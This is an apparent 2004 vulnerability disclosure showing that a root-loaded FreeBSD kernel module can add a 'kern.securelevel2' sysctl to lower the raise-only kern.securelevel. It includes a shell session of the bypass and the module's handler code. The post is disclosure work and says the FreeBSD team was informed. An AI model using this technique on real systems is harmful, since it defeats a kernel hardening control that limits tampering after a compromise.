Unprivilegued settings for FreeBSD kernel variables

[Radko Keves]

INTRODUCTION:
i have found security threat in basic security facility in BSD systems
that allows to lower sysctl variable

in this case to bypass security settings, root privilegues are needed


DESCRIPTION:
sysctl(8)
...
     The sysctl utility retrieves kernel state and allows processes with
     appropriate privilege to set kernel state.  The state to be retrieved or
     set is described using a ``Management Information Base'' (``MIB'') style
     name, described as a dotted set of components.
...
    kern.securelevel                         integer       raise only
...

security(7)
...
Once you have set the securelevel to 1, write access to raw devices will 
be denied and special chflags flags, such as `schg', will be enforced.
...

sysctl(3)
...
KERN_SECURELVL
The system security level.  This level may be raised by processes
with appropriate privilege.  It may not be lowered.
...


PROBLEM:
raise only kernel variables aren't really raise only, here is the 
way how we can avoid security settings


EXAMPLE:
kernel module can gives you a new sysctl (for example kern.securelevel2):
kern.securelevel2
with which you can lower/raiser sysctl.securelevel variable
(source code attached)

$ kldstat
Id Refs Address    Size     Name
 1    7 0xc0400000 4378e4   kernel
 ...
$
$ kldload ./securelevel2.ko 
$ kldstat
Id Refs Address    Size     Name
 1    8 0xc0400000 4378e4   kernel
 ...
 8    1 0xc4e96000 2000     securelevel2.ko

$sudo sysctl kern.securelevel
kern.securelevel: -1
$sudo sysctl kern.securelevel=3
kern.securelevel: -1 -> 3
$ sudo sysctl kern.securelevel
kern.securelevel: 3
$ sudo sysctl kern.securelevel=-1
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
$ sudo sysctl kern.securelevel2=-1
kern.securelevel2: 3 -> -1
$ sudo sysctl kern.securelevel
kern.securelevel: -1
$ uname -a
FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun  2 11:23:59 CEST 2004 rado at mk:/xx/angel i386


WORKAROUND:
not known


SEE ALSO:
other "raise only" :-) sysctl variables (uptime....), write access to raw devices...


STATUE:
still better than others


AFFECTED DISTRIBUTIONS:
FreeBSD 5.x i386
FreeBSD, OpenBSD, NetBSD, Linux is most likely also affected (investigation needed)


LAST WORDS:
i think i'm paranoid, but i want some measures to be taken
FreeBSD team was informed


CODE:
[...]
 static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) {
	int	error;
	error = sysctl_handle_long(oidp,&(securelevel), 0, req);
	return (error);
}

SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", ".");
[...]


Best regards,
-- 
Radko Keves